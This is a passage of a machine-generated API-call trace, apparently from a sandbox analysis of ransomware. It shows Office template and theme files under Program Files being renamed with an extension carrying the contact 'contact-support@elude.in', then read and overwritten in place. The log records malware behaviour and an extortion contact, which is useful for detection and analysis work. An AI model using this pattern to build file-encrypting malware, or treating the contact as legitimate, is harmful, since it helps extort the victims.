hTemplateFile=0x0) returned 0x4e0 [0191.963] CloseHandle (hObject=0x4e0) returned 1 [0191.963] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vstx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vstx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.967] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c5b962, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4c52, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="XFUNC_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNC_~1.FIR")) returned 0x6d5580 [0191.968] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0191.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vstx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0191.968] GetProcessHeap () returned 0x630000 [0191.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c61) returned 0x705b9d0 [0191.968] GetProcessHeap () returned 0x630000 [0191.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c61) returned 0x73108f8 [0191.968] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.968] ReadFile (in: hFile=0x4e0, lpBuffer=0x705b9d0, nNumberOfBytesToRead=0x4c40, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x705b9d0*, lpNumberOfBytesRead=0x4fbff0c*=0x4c40, lpOverlapped=0x0) returned 1 [0194.025] GetProcessHeap () returned 0x630000 [0194.025] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0194.025] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.025] WriteFile (in: hFile=0x4e0, lpBuffer=0x73108f8*, nNumberOfBytesToWrite=0x4c40, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73108f8*, lpNumberOfBytesWritten=0x4fbff0c*=0x4c40, lpOverlapped=0x0) returned 1 [0195.059] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.059] WriteFile (in: hFile=0x4e0, lpBuffer=0x7315537*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7315537*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.321] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.321] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.321] CloseHandle (hObject=0x4e0) returned 1 [0195.336] GetProcessHeap () returned 0x630000 [0195.336] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73108f8 | out: hHeap=0x630000) returned 1 [0195.336] GetProcessHeap () returned 0x630000 [0195.336] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705b9d0 | out: hHeap=0x630000) returned 1 [0195.337] GetProcessHeap () returned 0x630000 [0195.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0196.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3a5d9b07, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4c76, dwReserved0=0xbd47496, dwReserved1=0x705b9c8, cFileName="XFUNC_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNC_~1.FIR")) returned 0x6d5480 [0196.299] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0196.299] Sleep (dwMilliseconds=0x1) [0196.319] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx", len=0x4a | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx") returned 1 [0196.319] GetProcessHeap () returned 0x630000 [0196.319] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4790) returned 0x7133a90 [0196.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0197.028] CloseHandle (hObject=0x6dc) returned 1 [0197.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0197.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADJACE~3.FIR")) returned 0x6d5240 [0197.029] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0197.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0197.029] GetProcessHeap () returned 0x630000 [0197.029] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73527e8 [0197.029] GetProcessHeap () returned 0x630000 [0197.029] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x735dc18 [0197.029] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.029] ReadFile (in: hFile=0x6dc, lpBuffer=0x73527e8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73527e8*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.921] GetProcessHeap () returned 0x630000 [0205.921] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0205.921] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.922] WriteFile (in: hFile=0x6dc, lpBuffer=0x735dc18*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x735dc18*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.922] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.922] WriteFile (in: hFile=0x6dc, lpBuffer=0x7369017*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7369017*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.923] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.923] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.923] CloseHandle (hObject=0x6dc) returned 1 [0205.923] GetProcessHeap () returned 0x630000 [0205.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x735dc18 | out: hHeap=0x630000) returned 1 [0205.924] GetProcessHeap () returned 0x630000 [0205.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73527e8 | out: hHeap=0x630000) returned 1 [0205.924] GetProcessHeap () returned 0x630000 [0205.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0205.924] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40b02ac7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x30f2d, dwReserved0=0xbd47496, dwReserved1=0x73527e0, cFileName="AdjacencyLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADJACE~3.FIR")) returned 0x6d4e00 [0205.924] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0205.925] Sleep (dwMilliseconds=0x1) [0205.932] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\PREVIEW.GIF", len=0x6d | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\PREVIEW.GIF") returned 1 [0205.932] GetProcessHeap () returned 0x630000 [0205.932] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c74) returned 0x6fe4288 [0205.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0205.935] CloseHandle (hObject=0x6dc) returned 1 [0205.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0205.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0205.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x69006b02, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5540 [0205.938] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0205.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0205.938] GetProcessHeap () returned 0x630000 [0205.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xac1) returned 0x681d78 [0205.939] GetProcessHeap () returned 0x630000 [0205.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xac1) returned 0x6e5368 [0205.939] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.939] ReadFile (in: hFile=0x6dc, lpBuffer=0x681d78, nNumberOfBytesToRead=0xaa0, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x681d78*, lpNumberOfBytesRead=0x4fbff0c*=0xaa0, lpOverlapped=0x0) returned 1 [0208.018] GetProcessHeap () returned 0x630000 [0208.018] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0208.018] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.018] WriteFile (in: hFile=0x6dc, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x4fbff0c*=0xaa0, lpOverlapped=0x0) returned 1 [0208.018] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.018] WriteFile (in: hFile=0x6dc, lpBuffer=0x6e5e07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5e07*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.018] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.018] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.019] CloseHandle (hObject=0x6dc) returned 1 [0208.019] GetProcessHeap () returned 0x630000 [0208.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0208.019] GetProcessHeap () returned 0x630000 [0208.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681d78 | out: hHeap=0x630000) returned 1 [0208.019] GetProcessHeap () returned 0x630000 [0208.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0208.019] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.019] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x41ef8fed, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xac6, dwReserved0=0xbd47496, dwReserved1=0x681d70, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5540 [0208.019] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0208.019] Sleep (dwMilliseconds=0x1) [0210.088] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF", len=0x6f | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 1 [0210.088] GetProcessHeap () returned 0x630000 [0210.088] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e18) returned 0x6fe4288 [0210.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0210.093] CloseHandle (hObject=0x714) returned 1 [0210.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x28551719, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0xff00b748, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d52c0 [0210.096] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0210.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0210.096] GetProcessHeap () returned 0x630000 [0210.096] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6e1) returned 0x72b0f58 [0210.096] GetProcessHeap () returned 0x630000 [0210.096] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6e1) returned 0x6cca40 [0210.096] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.096] ReadFile (in: hFile=0x714, lpBuffer=0x72b0f58, nNumberOfBytesToRead=0x6c0, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b0f58*, lpNumberOfBytesRead=0x4fbff0c*=0x6c0, lpOverlapped=0x0) returned 1 [0210.105] GetProcessHeap () returned 0x630000 [0210.105] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0210.105] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.105] WriteFile (in: hFile=0x714, lpBuffer=0x6cca40*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6cca40*, lpNumberOfBytesWritten=0x4fbff0c*=0x6c0, lpOverlapped=0x0) returned 1 [0210.105] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.105] WriteFile (in: hFile=0x714, lpBuffer=0x6cd0ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6cd0ff*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0210.105] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.105] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0210.105] CloseHandle (hObject=0x714) returned 1 [0210.105] GetProcessHeap () returned 0x630000 [0210.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cca40 | out: hHeap=0x630000) returned 1 [0210.105] GetProcessHeap () returned 0x630000 [0210.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 